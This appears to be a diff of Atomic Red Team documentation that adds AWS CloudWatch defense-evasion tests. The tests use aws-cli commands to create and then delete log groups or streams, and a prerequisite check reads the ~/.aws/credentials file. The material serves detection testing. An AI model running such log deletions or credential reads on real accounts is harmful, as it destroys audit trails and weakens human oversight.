## Atomic Test #7 - AWS - CloudWatch Log Group Deletes
|
||||
Creates a new cloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by
|
||||
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion
|
||||
|
||||
@@ -318,7 +475,57 @@ echo Please install the aws-cli and configure your AWS defult profile using: aws
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #6 - AWS CloudWatch Log Stream Deletes
|
||||
## Atomic Test #8 - AWS - CloudWatch Log Stream Deletes
|
||||
Creates a new CloudWatch log group in AWS, Upon successful creation it will Delete the group. Attackers can use this technique to evade defenses by
|
||||
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-group-deletion.html#aws-cloudwatch-log-group-deletion
|
||||
|
||||
**Supported Platforms:** Iaas:aws
|
||||
|
||||
|
||||
**auto_generated_guid:** 89422c87-b57b-4a04-a12a-802bb11d06121
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### Inputs:
|
||||
| Name | Description | Type | Default Value |
|
||||
|------|-------------|------|---------------|
|
||||
| cloudwatch_log_group_name | Name of the cloudWatch log group | String | log-test|
|
||||
| region | Name of the region | String | us-east-1|
|
||||
|
||||
|
||||
#### Attack Commands: Run with `sh`!
|
||||
|
||||
|
||||
```sh
|
||||
aws logs create-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
|
||||
echo "*** Log Group Created ***"
|
||||
aws logs delete-log-group --log-group-name #{cloudwatch_log_group_name} --region #{region} --output json
|
||||
echo "*** Log Group Deleted ***"
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
#### Dependencies: Run with `sh`!
|
||||
##### Description: Check if ~/.aws/credentials file has a default stanza is configured
|
||||
##### Check Prereq Commands:
|
||||
```sh
|
||||
cat ~/.aws/credentials | grep "default"
|
||||
```
|
||||
##### Get Prereq Commands:
|
||||
```sh
|
||||
echo Please install the aws-cli and configure your AWS defult profile using: aws configure
|
||||
```
|
||||
|
||||
|
||||
|
||||
|
||||
<br/>
|
||||
<br/>
|
||||
|
||||
## Atomic Test #9 - AWS CloudWatch Log Stream Deletes
|
||||
Creates a new cloudWatch log stream in AWS, Upon successful creation it will Delete the stream. Attackers can use this technique to evade defenses by
|
||||
deleting the log stream. Once it is deleted, the logs created by the attackers will not be logged. https://www.elastic.co/guide/en/security/current/aws-cloudwatch-log-stream-deletion.html
|
||||
|
||||
|
||||
Reference in New Issue
Block a user